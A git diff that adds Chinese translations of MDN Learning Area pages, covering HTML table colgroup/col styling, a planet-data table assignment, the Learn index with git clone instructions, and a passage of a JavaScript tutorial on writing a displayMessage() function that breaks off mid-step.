href="/en-US/docs/Web/HTML/Element/col"><col></a></code></strong> 和 <strong><code><a href="/en-US/docs/Web/HTML/Element/colgroup"><colgroup></a></code></strong> 元素。 它们存在是因为如果你想让一列中的每个数据的样式都一样,那么你就要为每个数据都添加一个样式,这样的做法是令人厌烦和低效的。你通常需要在列中的每个 <code><td></code> 或 <code><th></code> 上定义样式,或者使用一个复杂的选择器,比如 {{cssxref(":nth-child()")}}。</p> + +<p>下面是一个简单的示例:</p> + +<pre class="brush: html notranslate"><table> + <tr> + <th>Data 1</th> + <th style="background-color: yellow">Data 2</th> + </tr> + <tr> + <td>Calcutta</td> + <td style="background-color: yellow">Orange</td> + </tr> + <tr> + <td>Robots</td> + <td style="background-color: yellow">Jazz</td> + </tr> +</table></pre> + +<p>下面就是上述代码的结果:</p> + +<table> + <tbody> + <tr> + <th>Data 1</th> + <th style="background-color: yellow;">Data 2</th> + </tr> + <tr> + <td>Calcutta</td> + <td style="background-color: yellow;">Orange</td> + </tr> + <tr> + <td>Robots</td> + <td style="background-color: yellow;">Jazz</td> + </tr> + </tbody> +</table> + +<p>这样不太理想,因为我们不得不在列中的每个单元格中重复那些样式信息 (在真实的项目中,我们或许会设置一个 <code>class</code> 包含那三个单元格 ,然后在一个单独的样式表中定义样式). 为了舍弃这种做法,我们可以只定义一次,在 <code><col></code> 元素中。<code><col></code> 元素被规定包含在 <code><colgroup></code> 容器中,而 <code><colgroup></code>就在 <code><table></code> 标签的下方。我们可以通过如下的做法来创建与上面相同的效果:</p> + +<pre class="brush: html notranslate"><table> + <colgroup> + <col> + <col style="background-color: yellow"> + </colgroup> + <tr> + <th>Data 1</th> + <th>Data 2</th> + </tr> + <tr> + <td>Calcutta</td> + <td>Orange</td> + </tr> + <tr> + <td>Robots</td> + <td>Jazz</td> + </tr> +</table></pre> + +<p>我们使用了两个 <code><col></code>来定义“列的样式”,每一个<code><col></code>都会制定每列的样式,对于第一列,我们没有采取任何样式,但是我们仍然需要添加一个空的 <code><col></code> 元素,如果不这样做,那么我们的样式就会应用到第一列上,这和我们预想的不一样。</p> + +<p>如果你想把这种样式信息应用到每一列,我们可以只使用一个 <code><col></code> 元素,不过需要包含 span 属性,像这样:</p> + +<pre class="brush: html notranslate"><colgroup> + <col style="background-color: yellow" span="2"> +</colgroup></pre> + +<p>就像 <code>colspan</code> 和 <code>rowspan</code>, <code>span</code> 需要一个无单位的数字值,用来制定你想要让这个样式应用到表格中多少列</p> + +<h3 id="动手练习_colgroup_and_col">动手练习: colgroup and col</h3> + +<p>又到了需要你自己独立完成的时间了。</p> + +<p>下面你可以看到一位语言老师的时间表。星期五,她有一个新的课程,全天教荷兰语,但是在星期二和星期四的几个时间点,她也教德语。她想把那些包含她教学的日子的列高亮显示。</p> + +<p>{{EmbedGHLiveSample("learning-area/html/tables/basic/timetable-fixed.html", '100%', 320)}}</p> + +<p>通过下面这些步骤来重构这个表格。</p> + +<ol> + <li>首先,把 <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/timetable.html">timetable.html</a> 文件复制到你的本地环境。这个 HTML 文件包含你在上文中看到的表格,不过是减去样式信息的。</li> + <li>在 table 的顶部添加一个 <code><colgroup></code> 元素,就放在 <code><table></code> 标签下面,<code><colgroup></code>可以添加 <code><col></code> 元素 (继续看下面剩余的步骤)。</li> + <li>第一列和第二列不需要应用样式。</li> + <li>为第三列添加一个背景颜色。<code>style</code> 属性是 <code>background-color:#97DB9A;</code></li> + <li>为第四列设置一个独立的宽度,<code>style</code> 属性是 <code>width: 42px;</code></li> + <li>为第五列添加一个背景颜色。<code>style</code> 属性是 <code>background-color: #97DB9A;</code></li> + <li>为第六列添加不同的背景颜色和边框,表示这是一个特殊的日子,表示她正在教一个新的课。 <code>style</code> 属性是 <code>background-color:#DCC48E; border:4px solid #C1437A;</code></li> + <li>最后两天是休息日,所以只需将它们设置为无背景颜色,但需要设置宽度;<code>style</code> 属性是 <code>width: 42px;</code></li> +</ol> + +<p>看看你是否能完成这个示例,如果你遇到了困难,或想要核对你完成的作品,你可以在 GitHub 上找到完成的版本 <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/timetable-fixed.html">timetable-fixed.html</a> (<a href="https://mdn.github.io/learning-area/html/tables/basic/timetable-fixed.html">see it live also</a>)。</p> + +<h2 id="小结">小结</h2> + +<p>本章节仅仅包含了 HTML 表格的基础。在下一篇文章中,我们将介绍一些稍微更高级的表格功能,并开始考虑方便视力障碍的人士的访问</p> + +<div>{{NextMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}</div> + +<div></div> + +<h2 id="在本单元中">在本单元中</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Tables/Basics">HTML table basics</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Tables/Advanced">HTML table advanced features and accessibility</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Tables/Structuring_planet_data">Structuring planet data</a></li> +</ul> + +<div> +<article> +<ul> +</ul> +</article> +</div> diff --git a/files/zh-cn/learn/html/tables/index.html b/files/zh-cn/learn/html/tables/index.html new file mode 100644 index 0000000000..0bcc6695d7 --- /dev/null +++ b/files/zh-cn/learn/html/tables/index.html @@ -0,0 +1,44 @@ +--- +title: HTML 表格 +slug: Learn/HTML/Tables +tags: + - HTML + - Landing + - Module + - NeedsTranslation + - TopicStub + - 初学者 + - 指引 + - 文章 + - 表格 +translation_of: Learn/HTML/Tables +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">在HTML中一个很普通的任务是构建表格数据,有大量的元素和属性是来满足这种需求的。只需要一点儿的CSS来设定风格,HTML让在web上显示表格数据变的很容易,例如你的学校的教学计划,你当地的游泳馆的时刻表, 或者是关于你最爱的恐龙或足球队的统计数据。这个模块会教给你所有你需要知道的关于用HTML构建表格数据的知识。</p> + +<h2 id="先决条件">先决条件</h2> + +<p>在你开始这一模块之前,你需要已经了解了HTML的基础知识——看<a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>.</p> + +<div class="note"> +<p><strong>Note</strong>: 如果你是在计算机/平板电脑等其他你无法创建文件的设备上的话,你可以尝试在在线代码编辑平台上运行代码例如 <a href="http://jsbin.com/">JSBin</a> 或 <a href="https://thimble.mozilla.org/">Thimble</a>.</p> +</div> + +<h2 id="向导">向导</h2> + +<p>本模块包含以下的文章</p> + +<dl> + <dt><a href="/zh-CN/docs/Learn/HTML/Tables/Basics">HTML 表格基础</a></dt> + <dd>本文将帮助你学习如何使用 HTML 格式,包括如行、列、表头、跨列的行或跨行的列等基本特性,以及如何将多行进行分组进行样式化。</dd> + <dt><a href="/zh-CN/docs/Learn/HTML/Tables/Advanced">HTML 表格高级功能与可访问性</a></dt> + <dd>在本模块第二篇文章中,我们将了解一些 HTML 表格的高级功能 —— 比如表名称/表摘要,因为可访问性的原因,将表格内容划分为表头、主体以及脚部等章节。</dd> +</dl> + +<h2 id="练习">练习</h2> + +<dl> + <dt><a href="/zh-CN/docs/Learn/HTML/Tables/Structuring_planet_data">构造行星的数据结构</a></dt> + <dd>在表格的练习中,我们向你提供了一些在我们太阳系的行星的数据,不妨你把它构造成一个HTML的表格吧。</dd> +</dl> diff --git a/files/zh-cn/learn/html/tables/structuring_planet_data/index.html b/files/zh-cn/learn/html/tables/structuring_planet_data/index.html new file mode 100644 index 0000000000..30a2e40606 --- /dev/null +++ b/files/zh-cn/learn/html/tables/structuring_planet_data/index.html @@ -0,0 +1,72 @@ +--- +title: 作业:构建行星数据 +slug: Learn/HTML/Tables/Structuring_planet_data +translation_of: Learn/HTML/Tables/Structuring_planet_data +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}</div> + +<p class="summary">在我们的表格评定中,我们为你提供有关太阳系中行星的一些数据,并让你将其结构化成HTML表。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">学习本章的前提条件:</th> + <td>在尝试这个评定之前,你应该已经把这个模块的所有文章都学习完成了。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>检测对 HTML 表格及相关功能的理解。</td> + </tr> + </tbody> +</table> + +<h2 id="起点">起点</h2> + +<p>要进行本测验,将 <a href="https://github.com/roy-tian/learning-area/blob/master/html/tables/assessment-start/blank-template.html">blank-template.html</a>, <a href="https://github.com/roy-tian/learning-area/blob/master/html/tables/assessment-start/minimal-table.css">minimal-table.css</a> 和 <a href="https://github.com/roy-tian/learning-area/blob/master/html/tables/assessment-start/planets-data.txt">planets-data.txt</a> 拷贝到本地。</p> + +<div class="note"> +<p><strong>注意</strong>: 另外, 你可以使用 <a class="external external-icon" href="https://jsbin.com/">JSBin</a> 或 <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> 来做你的测验。你可以把 HTML, CSS 和 JavaScript 粘贴到其中一个网上编辑器里。如果你使用的网上编辑器不支持 JavaScript/CSS 文件链接到 HTML 中使用,那么也可以使用 <code><script></code>/<code><style></code> 元素将它们直接写在你的 HTML 页面里。</p> +</div> + +<h2 id="项目概要">项目概要</h2> + +<p>你在学校工作; 目前,你的学生正在学习太阳系的行星,然后你想为他们提供一份简单的易于追踪的数据集合,来查找有关行星的数字和情况。一张 HTML 数据表将是理想的,你需要先获得可用的数据,然后把它变成一张表格,跟着下面的步骤。</p> + +<p>完成后的表格看上去应该是这样的:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14609/assessment-table.png" style="display: block; margin: 0 auto;"></p> + +<p>你也可以 <a class="external-icon" href="https://roy-tian.github.io/learning-area/html/tables/assessment-finished/planets-data.html">在线查看</a> (不要偷看源代码,不要作弊哦!)</p> + +<ul> +</ul> + +<h2 id="要完成的步骤">要完成的步骤</h2> + +<p>下面的步骤描述了:为了完成这个示例的表格,你所要做的事情 。所有你需要的数据都包含在<code>planets-data.txt</code> 文件中。如果你在获得这些数据时遇到了问题,也看看上面的实例,或者尝试绘制一个图。</p> + +<ol> + <li>打开在你本地环境中的 <code>blank-template.html</code>副本,提供一个外部容器来初始化表格,一个表格 header,一个表格 body。在这个例子中,你不需要表格 footer 。</li> + <li>为你的表格添加我们提供的标题。</li> + <li>在表格的 header 中添加一行,用来包括所有列的标题。</li> + <li>在表格的 body 部分创建所有内容行,记住要让所有是行标题的单元格语义化。</li> + <li>确保所有内容都插入了正确的单元格,在原始数据中,每行行星数据都显示在其相关行星的旁边。</li> + <li>添加一些属性,让行标题和列标题更加明确地与和它们有关的单元格进行关联,使用 rowgroups 让子标题和父标题也进行关联。</li> + <li>为包含所有行星标题的行标题的那一列数据,添加一个黑色边框</li> +</ol> + +<h2 id="要点和提示">要点和提示</h2> + +<ul> + <li>标题行的第一个单元格需要是空白的,然后宽度为 2 个单元格。</li> + <li>行的主标题 (e.g. <em>Jovian planets</em>) 以及放置在行星名称行左侧的标题 (e.g. <em>Saturn</em>) 整理出来有点麻烦, — 你需要确保每个单元格都有正确的高度和宽度。(即横跨正确的行数和列数)</li> + <li>将标题与其行/列相关联的一种方法比其他方法容易得多。</li> +</ul> + +<h2 id="评定">评定</h2> + +<p>如果您将此评估作为有组织的课程的一部分,您应该能够将您的工作交给您的老师/导师进行评改。 如果您是自学习的,那么您可以通过询问 <a href="https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294">Learning Area Discourse thread</a>, 或在 <a href="irc://irc.mozilla.org/mdn">#mdn</a>的IRC频道 <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a> 中轻松获得标记指南. 首先尝试练习 - 作弊对你没有益处!</p> + +<p>{{PreviousMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}</p> diff --git a/files/zh-cn/learn/index.html b/files/zh-cn/learn/index.html new file mode 100644 index 0000000000..84aff6a8f7 --- /dev/null +++ b/files/zh-cn/learn/index.html @@ -0,0 +1,128 @@ +--- +title: 学习 Web 开发 +slug: learn +tags: + - CSS + - HTML + - Web + - 交互式网站 + - 初学者 + - 前端 + - 启程 + - 学习 + - 学习Web开发 + - 索引 + - 网站 +translation_of: Learn +--- +<div>{{LearnSidebar}}</div> + +<p>您好!</p> + +<div> +<p class="summary">欢迎来到 MDN 学习区。本系列文章旨在为 Web 开发的纯粹初学者提供一切开始编写简单网站所需的知识。</p> +</div> + +<p>本学习区的目标,不在于让您从“菜鸟”到“专家”,而在于带领您从“入门”到“适应”。这样您就有能力自行学习 <a href="/zh-CN/">MDN 的其他部分</a>,也具备足够多的基础知识,去学习中级甚至是进阶资源。</p> + +<p>对于纯粹的初学者,Web 开发可能有些挑战性——我们会提供足够详细的资料来帮助您轻松愉快地学习相关主题。无论您是正在学习 Web 开发的学生(自学或者参与课程),寻找课堂材料的老师,还是编程爱好者,抑或仅仅想对 Web 技术有更多了解,您都能找到您所需要的信息。</p> + +<div class="warning"> +<p><strong>重要</strong>:学习区的内容会定期添加。如果您希望学习区纳入您感兴趣的主题,或者您感觉某些内容遗漏,请到下方 {{anch("联系我们")}} 获得可以联系我们的方式。</p> +</div> + +<h2 id="从哪里开始?">从哪里开始?</h2> + +<ul class="card-grid"> + <li><span>完全初学者</span>如果您是完全的 Web 初学者,我们建议您首先通读 <a href="/zh-CN/Learn/Getting_started_with_the_web">Web 入门</a> 模块。这个模块介绍了 Web 开发的实用入门知识。</li> + <li><span>特定疑问</span>如果您在 Web 开发中遇到问题,那么 <a href="/zh-CN/docs/Learn/Common_questions">常见问题</a> 这个章节或许能对您有所帮助。</li> + <li><span>基础之上</span>如果您已经具备了一些知识,那么下一步就是详细了解 {{glossary("HTML")}} 和 {{glossary("CSS")}} 。从 <a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML">HTML 入门</a> 开始,然后到 <a href="/zh-CN/docs/Learn/CSS/Introduction_to_CSS">CSS 入门</a>。</li> + <li><span>编写脚本</span>如果您已经熟悉 HTML 和 CSS ,或者您主要对写程序感兴趣 ,想进行 {{glossary("JavaScript")}} 或者服务端开发。那么就从 <a href="/zh-CN/docs/Learn/JavaScript/First_steps">JavaScript 第一步</a> 或 <a href="/zh-CN/docs/Learn/Server-side/First_steps">服务端第一步</a> 模块开始了解吧。</li> +</ul> + +<div class="note"> +<p><strong>注意</strong>:您可以在<a href="/zh-CN/docs/Glossary">词汇表</a>查询术语定义。</p> +</div> + +<p>{{LearnBox({"title":"随机术语词条"})}}</p> + +<h2 id="涵盖的主题">涵盖的主题</h2> + +<p>以下是 MDN 学习区涵盖的所有主题列表:</p> + +<dl> + <dt><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web">Web入门</a></dt> + <dd>为初学者提供一个实用的 Web 开发入门。</dd> + <dt><a href="https://developer.mozilla.org/zh-CN/docs/Learn/HTML">HTML — 构建网站</a></dt> + <dd>HTML 是我们用来构造网站内容的不同部分并定义它们的意义或目的的语言。本主题详细讲授 HTML。</dd> + <dt><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS">CSS — 美化网站</a></dt> + <dd>我们可以使用 CSS 这个语言来设计和布局我们的 Web 内容,以及添加像动画一类的行为。这个主题提供了详细的 CSS 指导。</dd> + <dt><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript">JavaScript — 动态客户端脚本语言</a></dt> + <dd>JavaScript 是用于向 Web 页面添加动态功能的脚本语言。本主题讲授了编写和理解JavaScript 所需的所有基本要点。</dd> + <dt><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Accessibility">可访问性 — 让网站能被所有人使用</a></dt> + <dd>可访问性是将 Web 内容尽可能地提供给尽可能多的人的实践,而不管残疾、设备、地区或其他不同的因素。这个主题给了您所有您需要了解的内容。</dd> + <dt><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Performance">Web 表现 — 让网站又快又具备响应能力</a></dt> + <dd>Web 表现是保证 Web 应用下载迅速且能对用户交互作出反应的艺术,用户的带宽、屏幕尺寸、网络、设备性能,都不应该是实现这两件事的阻碍。</dd> + <dt><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Tools_and_testing">工具集与测试</a></dt> + <dd>本主题介绍了开发人员用来促进其工作的工具,如跨浏览器测试工具、代码错误检查工具、代码格式化工具、转换工具、版本控制系统、开发工具。</dd> + <dt><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Server-side">服务端网站编程</a></dt> + <dd>即使您专注于客户端 Web 开发,了解服务器和服务端代码功能如何工作仍然是有用的。本主题提供服务器以及服务端代码特性如何工作的概述,并详细介绍了如何使用最流行的两个框架—— Django(Python)以及 Express(node.js)建立一个服务端的应用程序。</dd> +</dl> + +<h2 id="获取我们的代码示例">获取我们的代码示例</h2> + +<p>学习区的所有代码示例都可以在 <a href="https://github.com/roy-tian/learning-area/">GitHub</a> 上面找到。如果您想它们复制到您的电脑上,最简单的方式是 <a href="https://github.com/roy-tian/learning-area/archive/master.zip">下载最新的 master 分支</a>。</p> + +<p>如果希望使用自动更新等更灵活的功能,可以按以下步骤进行:</p> + +<ol> + <li>在电脑上 <a href="https://git-scm.com/downloads">安装 Git</a>。 Github 底层使用的版本控制系统。</li> + <li>打开电脑的 <a href="https://www.lifewire.com/how-to-open-command-prompt-2618089">命令提示符</a> (Windows) 或终端 (<a href="https://help.ubuntu.com/community/UsingTheTerminal">Linux</a>, <a href="http://blog.teamtreehouse.com/introduction-to-the-mac-os-x-command-line">macOS</a>)。</li> + <li>在命令提示符/终端中输入以下命令,即可复制学习区仓库到当前目录下的 learning-area 目录里: + <pre class="brush: bash">git clone https://github.com/roy-tian/learning-area +</pre> + </li> + <li>现在就可以用访达(macOS)、文件管理器(Windows)或 <a href="https://en.wikipedia.org/wiki/Cd_(command)">cd 命令</a> 进入该目录,寻找所需文件了。</li> +</ol> + +<p>现在如果 GitHub 上 <code>learning-area</code> 仓库的 master 分支有任何更改,都用以下命令更新自己的仓库:</p> + +<ol> + <li>在命令提示符/终端中,用 <code>cd</code> 命令进入到 <code>learning-area</code> 目录。如果当前目录是 <code>learning-area</code> 的父目录,就可以: + + <pre class="brush: bash">cd learning-area +</pre> + </li> + <li>使用以下命令更新仓库: + <pre class="brush: bash">git pull</pre> + </li> +</ol> + +<h2 id="联系我们">联系我们</h2> + +<p>如果您想与我们联系交流,最好的方式是通过<a href="https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294">学习区交流帖</a>或者 <a href="/zh-CN/docs/MDN/Community/Conversations#Chat_in_IRC">IRC 频道</a>留下消息。不论您觉得网站上有哪里错误或遗漏,希望看到新的学习主题,对自己不理解的内容求助,还是有其他任何想法,都欢迎您联络我们。</p> + +<p>如果您有兴趣帮助我们开发或改进社区内容,请看一下<a href="/zh-CN/Learn/How_to_contribute">如何帮助</a>并联系我们。无论您是学生、老师、经验丰富的 Web 开发者,还是想通过帮助我们以提升自我学习经验,我们都欢迎您的参与!</p> + +<h2 id="参见">参见</h2> + +<dl> + <dt><a href="https://www.mozilla.org/zh-CN/newsletter/developer/">Mozilla 开发者新闻报</a></dt> + <dd>我们为 Web 开发者编写的新闻报,对各种水平的开发者都很有用。</dd> + <dt><a href="https://www.youtube.com/playlist?list=PLo3w8EB99pqLEopnunz-dOOBJ8t-Wgt2g">Web Demystified</a></dt> + <dd>一个由 <a href="https://twitter.com/JeremiePat">Jérémie Patonnier</a> 创作的面向 Web 开发的完全新手的系列视频,讲述了 Web 基础。</dd> + <dt><a href="https://exlskills.com/learn-en/courses">EXLskills</a></dt> + <dd>免费和开放的课程,学习技术技能,指导和基于项目的学习</dd> + <dt><a href="https://www.codecademy.com/">Codecademy</a></dt> + <dd>很棒的交互式学习网站,帮您从头开始学习编程语言。</dd> + <dt><a href="https://code.org/">Code.org</a></dt> + <dd>基本的编程理论和实战,主要面向儿童与完全初学者。</dd> + <dt><a href="https://www.freecodecamp.org/">FreeCodeCamp.org</a></dt> + <dd>使用教程和项目练习,来学习 Web 开发的交互式网站。</dd> + <dt><a href="https://learning.mozilla.org/web-literacy/">Web Literacy Map</a></dt> + <dd>Web 素养与21世纪常用技能的入门级框架,同时提供分门别类的教学活动。</dd> + <dt><a href="https://learning.mozilla.org/activities">Mozilla 教学活动</a></dt> + <dd>由 Mozilla 基金会创建的一系列教学与学习活动,介绍了基本 Web 素养、隐私权、JavaScript、如何捣鼓 Minecraft 等等。</dd> + <dt><a href="https://edabit.com/">Edabit</a></dt> + <dd>不同编程语言的上百个免费交互式编程挑战。</dd> +</dl> diff --git a/files/zh-cn/learn/javascript/building_blocks/build_your_own_function/index.html b/files/zh-cn/learn/javascript/building_blocks/build_your_own_function/index.html new file mode 100644 index 0000000000..107d68a202 --- /dev/null +++ b/files/zh-cn/learn/javascript/building_blocks/build_your_own_function/index.html @@ -0,0 +1,256 @@ +--- +title: 创建您自己的函数 +slug: learn/JavaScript/Building_blocks/Build_your_own_function +tags: + - JavaScript + - 函数 + - 初学者 + - 学习 + - 教程 +translation_of: Learn/JavaScript/Building_blocks/Build_your_own_function +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Functions","Learn/JavaScript/Building_blocks/Return_values", "Learn/JavaScript/Building_blocks")}}</div> + +<p class="summary">我们在之前的文章里大多学的是理论,这篇文章将提供一个练习的机会——您将练习构建一些您自己风格的函数。在练习过程中,我们也会解释一些针对函数的更深层的实用细节。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">先修知识:</th> + <td>基本的电脑常识,对于HTML和CSS的基本了解, <a href="zh-CN/docs/Learn/JavaScript/First_steps">JavaScript第一步</a>, <a href="zh-CN/docs/Learn/JavaScript/Building_blocks/Functions">函数-可复用代码块</a>。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>提供一些练习来构建一个传统的函数,并解释一些有用的相关细节。</td> + </tr> + </tbody> +</table> + +<h2 id="先活跃下气氛:构建一个函数">先活跃下气氛:构建一个函数</h2> + +<p>我们将构建的传统函数将被命名为 <code>displayMessage()</code>,它向用户展示一个传统的消息盒子于web页面的顶部。它充当浏览器内建的 <a href="/zh-CN/docs/Web/API/Window/alert">alert()</a> 函数更有用的替代品。你已经看过了这个,但是我们回复一下我们的记忆——在你的浏览器的 JavaScript控制台中,在任意一个页面里尝试以下代码</p> + +<pre class="brush: js notranslate">alert('This is a message');</pre> + +<p>这个函数只带有一个参数——在 alert box 中展示的字符串。您可以尝试改变字符串来改变消息。</p> + +<p>这个<code>alert()</code>函数不是很好的:您可以<code>alert()</code>出这条信息,但是您不能很容易的表达其他内容,例如颜色,图标或者是其他东西。接下来我们将会构建一个更有趣的函数。</p> + +<div class="note"> +<p><strong>笔记</strong>: 这个例子能够在现代浏览器上很好的工作,但是这个风格在老的浏览器上并没那么有趣。我们建议你实现这个例子时在现代浏览器上,例如Firefox,Opera或者Chrome浏览器。</p> +</div> + +<h2 id="基本函数">基本函数</h2> + +<p>首先,让我们来组织一个基本的函数。</p> + +<div class="note"> +<p><strong>注:</strong>对于函数命名约定,应遵循与<a href="/en-US/Learn/JavaScript/First_steps/Variables#An_aside_on_variable_naming_rules">变量命名约定</a>相同的规则。 这很好,尽你所能理解它们之间的区别 - 函数名称后带有括号,而变量则没有。</p> +</div> + +<ol> + <li>我们希望您首先访问<a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-start.html">function-start.html</a>文件并创建一个本地拷贝。您将会看到这个HTML很简单 — 我们的body块仅包含一个按钮。我们还提供了一些基本的CSS来装饰自定义消息框,以及一个用于放置JavaScript代码的{{htmlelement("script")}}元素。</li> + <li>接下来,将下面的代码添加至 <code><script></code> 元素中: + <pre class="brush: js notranslate">function displayMessage() { + +}</pre> + 我们从表示定义一个函数的关键字 <code>function</code>开始,这之后是我们想给我们的函数取的名字;一组括号;和一组大括号。我们要传给我们的函数的任何参数都在括号内,当我们调用该函数时运行的代码均在大括号内。</li> + <li>最后,添加以下代码到大括号中: + <pre class="brush: js notranslate">const html = document.querySelector('html'); + +const panel = document.createElement('div'); +panel.setAttribute('class', 'msgBox'); +html.appendChild(panel); + +const msg = document.createElement('p'); +msg.textContent = 'This is a message box'; +panel.appendChild(msg); + +const closeBtn = document.createElement('button'); +closeBtn.textContent = 'x'; +panel.appendChild(closeBtn); + +closeBtn.onclick = function() { + panel.parentNode.removeChild(panel); +}</pre> + </li> +</ol> + +<p>天哪,这么多代码!好吧,一行一行的解释给你听。</p> + +<p>第一行代码使用了一个DOM(文档对象模型)的内置方法 {{domxref("document.querySelector()")}} 来选择{{htmlelement("html")}} 元素并且把它存放在一个叫 <code>html</code>的常量中, 这样方便我们接下来使用这个元素:</p> + +<pre class="brush: js notranslate">const html = document.querySelector('html');</pre> + +<p>下段代码使用了另一个名字叫做 {{domxref("Document.createElement()")}} 的DOM方法,用来创建 {{htmlelement("div")}} 元素并且把该新建元素的引用(实际上是新建对象的地址)放在一个叫做 <code>panel</code>的常量中。 这个元素将成为我们的消息框的外部容器。</p> + +<p>然后我们又使用了一个叫做 {{domxref("Element.setAttribute()")}} 的DOM方法给panel元素添加了一个值为<code>msgBox</code> 的<code>class</code> 类属性。 这样做方便我们来给这个元素添加样式 — 查看CSS代码你就知道我们使用<code>.msgBox</code> 类选择器来给消息框和消息内容设置样式。</p> + +<p>最后,我们还使用了一个叫做 {{domxref("Node.appendChild()")}} 的DOM方法,给 <code>html</code> 常量(我们之前定义好的)追加了我们设置好样式的panel元素 。该方法追加了元素的同时也把panel<code><div></code>元素指定为<code><html></code>的子元素 。这样做是因为我们创建了一个元素之后这个元素并不会莫名其妙的出现在我们的页面上(浏览器只知道我们创建了一个元素,但是不知道把这个元素怎么呈现出来) — 因此,我们给这个元素了一个定位,就是显示在html里面!</p> + +<pre class="brush: js notranslate">const panel = document.createElement('div'); +panel.setAttribute('class', 'msgBox'); +html.appendChild(panel);</pre> + +<p>下面这两段使用了我们之前使用过的方法<code>createElement()</code>和<code>appendChild()</code> — 创建了一个 {{htmlelement("p")}} 元素和一个{{htmlelement("button")}}元素 — 并且把他们追加到了panel<code><div></code>之下。我们使用元素的 {{domxref("Node.textContent")}}(Node泛指一个元素并不是说是某个元素是叫Node) 属性— 表示一个元素的文本属性 — 给一个p元素赋值, 同样按钮也有这个属性,该属性就是按钮显示的‘X’。这个按钮的功能就是关闭消息提示框。</p> + +<pre class="brush: js notranslate">const msg = document.createElement('p'); +msg.textContent = 'This is a message box'; +panel.appendChild(msg); + +const closeBtn = document.createElement('button'); +closeBtn.textContent = 'x'; +panel.appendChild(closeBtn);</pre> + +<p>最后我们使用一个叫做 {{domxref("GlobalEventHandlers.onclick")}} 的事件句柄给按钮添加了一个点击事件, 点击事件后定义了一个匿名函数,功能是将消息提示框从父容器中删除 — 达到了关闭的效果。</p> + +<p>简单来说,这个 <code>onclick</code> 句柄是一个按钮的属性 (事实上,页面上的任何元素) 当按钮被点击的时候能够执行一些代码。 你可以在之后的介绍事件的章节了解详情。我们给 <code>onclick</code> 句柄绑定了一个匿名函数, 函数中代码在元素被点击的时候运行。函数里面的这行代码使用了 {{domxref("Node.removeChild()")}} DOM 方法指定了我们想要移除的HTML的子元素 — 在这里指panel<code><div></code>.</p> + +<p>PS:我来解释下是什么意思,panel是消息框,panel.parentNode就是指panel的上一级,就是整个DOM,然后再来用这个父亲来干掉这个儿子,儿子不能自己干掉自己,所以要这么做。</p> + +<pre class="brush: js notranslate">closeBtn.onclick = function() { + panel.parentNode.removeChild(panel); +}</pre> + +<p>大体上, 这一整块的代码我就不解释了就是一个div,一个段落,一个按钮, 把这个加在页面上:</p> + +<pre class="brush: html notranslate"><div class="msgBox"> + <p>This is a message box</p> + <button>x</button> +</div></pre> + +<p>啊,看完了这么多代码,是不是很累? — 不用担心,你现在没有必要完全知道这些代码的细节! 这里我们只关心函数的结构和使用方式, 下面的例子将展示一些有意思的东西。</p> + +<h2 id="调用函数">调用函数</h2> + +<p>相信你已经迫不及待的在你的<code><script></code> 标签中写好了一个函数, 但仅仅是定义而已,这玩意不会做任何事情。</p> + +<ol> + <li>把下面这行代码加在写好的函数下面来调用函数(当然,不一定要放在函数下面来调用,在C语言中确实是还要先定义后使用,但是我们现在用的是JavaScript,这玩意很强大,不管你是先定义后调用还是先调用后定义都行,但是别忘了定义): + <pre class="brush: js notranslate">displayMessage();</pre> + 这行代码调用了你写的函数, 当浏览器解析到这行代码时会立即执行函数内的代码。当你保存好你的代码以后在浏览器中刷新, 你会马上看到一个小小的提示框弹出来, 但是只弹出了一次。毕竟我们只调用了一次函数是不?</li> + <li> + <p>现在打开浏览器开发工具, 找到JavaScript控制台把上面这一句再输入一遍然后回车, 你会看到又弹出了一次!有点意思... — 现在我们有了一个能够重复调用的函数,只要你高兴可以随时调用它。</p> + + <p>但是,这玩意有什么用呢?在真实的应用当中这样的消息提示框一般用来提示一些什么新的东西, 或者是出现了一个什么错误, 或者当用户删除配置文件的时候("你确定要这样做?"), 或者用户添加一个新的联系人之后提示操作成功..等等。 在这个例子里面, 当用户点击这个按钮的时候这个提示框会出现。</p> + </li> + <li>删掉你之前加的那一行代码。</li> + <li>下一步我们用选择器找到这个按钮并赋值给一个常量。 在你的函数定义之前把这行代码加上去: + <pre class="brush: js notranslate">const btn = document.querySelector('button');</pre> + </li> + <li>最后,把这行代码加在上面这行的下面: + <pre class="brush: js notranslate">btn.onclick = displayMessage;</pre> + <code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">跟关闭按钮类似</span></font>closeBtn.onclick...</code> , 当按钮被点击的时候我们运行了点代码。 但不同的是, 之前等号的右边是一个匿名函数,看起来是这样的:<code>btn.onclick = function(){...}</code>, 我们现在是直接使用函数名称来调用。</li> + <li>保存好以后刷新页面 — 